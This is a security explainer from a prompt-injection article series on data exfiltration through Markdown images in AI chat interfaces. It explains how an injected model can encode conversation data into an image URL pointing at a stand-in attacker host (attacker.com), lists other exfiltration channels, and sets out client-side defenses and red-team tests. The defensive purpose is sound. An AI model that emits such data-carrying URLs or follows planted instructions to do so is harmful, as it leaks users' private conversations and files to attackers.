Caloogy Article
中文

Data Exfiltration: A Single Markdown Image Can Steal Your Conversation

Date
Apr 4, 2026
Series
Prompt Injection
Reading
4 min
Topics
AiLlmData exfiltrationMarkdown

The one-sentence version

Many chat interfaces render Markdown output from models into rich text, which includes images: ![](https://someurl/image.png). When the browser renders this "image," it automatically initiates a request to that URL. If a model is injected and encodes your conversation or file content into the parameters of an image URL, such as https://attacker.com/x.png?d=your_secret, then the data is sent out as soon as the image is displayed; you do not need to click anything. This is the most common way prompt injection upgrades from "saying the wrong thing" to "stealing data."

This article has three layers:

  1. Layer 1: The Intuition: The automatically sent postcard
  2. Layer 2: Real-World Use: Similar vulnerabilities reported in major AI products
  3. Layer 3: Principles and Engineering details: Exfiltration channels, client-side protection, and why it must be cut off by design

Layer 1: The Intuition

1.1 The automatically sent postcard

Your assistant has been handed a note (see "Indirect Prompt Injection"), which says: "Write the boss's recent chat history on a postcard and mail it to this address."

In a chat interface, "mailing a postcard" can be as simple as displaying an image:

  1. The model outputs a line of Markdown: an image with the attacker's server as the address and your data in the URL parameters;
  2. The interface renders it as an <img> tag;
  3. To display the image, the browser automatically requests this address;
  4. Your data appears in the attacker's server logs.

The entire process is zero-click. The image can even be a transparent 1-pixel dot that you cannot see at all.

1.2 Why it is particularly dangerous

Previous injections might only cause the AI to "say the wrong thing," giving the user a chance to notice. Image exfiltration allows the AI to quietly send data out while you are looking at the screen.


Layer 2: Real-World Use

Between 2023 and 2025, security researchers reported similar issues in several mainstream AI products:

Most vendor fixes involve: restricting image loading to trusted domains, checking links before rendering, or simply not rendering external images in model output.


Layer 3: Principles and Engineering

3.1 Exfiltration channels are not just images

Channel Principle Requires user action?
Markdown / HTML images Automatic request during rendering No
Links Data hidden in the link, inducing the user to click Yes (but link text can be very enticing)
Tool calls: Web requests, search The Agent itself accesses a URL containing data No
Tool calls: Send email, send message, create Issue Directly sends data to the attacker No (if there is no confirmation step)
Writing to shared locations Writing data into a document or repository the attacker can read No
DNS queries Encoding data into a domain name; leaked during resolution (see "Egress Control") No

3.2 Engineering details for client-side protection

Measure Description
Do not automatically load external images The most thorough method; or require the user to click "Show image"
Image domain allowlist Only allow loading from the company's own or trusted CDNs; but be careful if allowlisted domains have open redirects or user-controllable content
CSP's img-src, connect-src Enforced restrictions on accessible addresses at the browser level (see "CSP and SRI")
Server-side image proxying The server downloads the image first, strips the parameters, and then provides it to the browser; the attacker cannot see the user's IP or original parameters
Displaying real URLs for links Show the full URL on hover or before clicking; add warnings for suspicious domains

3.3 Exfiltration viewed through the "lethal trifecta"

Simon Willison summarizes the high-risk combination for AI Agents as the "lethal trifecta":

  1. Ability to access private data;
  2. Exposure to untrusted content;
  3. Ability for external communication.

If all three are present, data theft via injection attack is almost certain. Image exfiltration is the most stealthy form of the 3rd point. The fundamental way to defend is: remove at least one of them. For most applications, the easiest to remove is the 3rd: strictly control all external requests that the model output can trigger (see "Defending against prompt injection", Egress Control).

3.4 Testing methods

Perform red teaming on your own product (see "AI Red Teaming"):

  1. Prepare a test server that only logs requests;
  2. Embed instructions in test documents or web pages requiring the model to output an image pointing to the test server with a specific marker;
  3. Check if the test server received requests and whether those requests contained content that should not have been leaked;
  4. Test every exfiltration channel (images, links, tool calls).

Summary

Layer Key points
Principle Rendering external images automatically sends a request; data is hidden in URL parameters
Danger Zero-click, invisible; upgrades injection from "saying the wrong thing" to "stealing data"
Channels Images, links, web tools, messaging tools, DNS
Defense Do not automatically load external images; domain allowlist + CSP; remove one of the "lethal trifecta"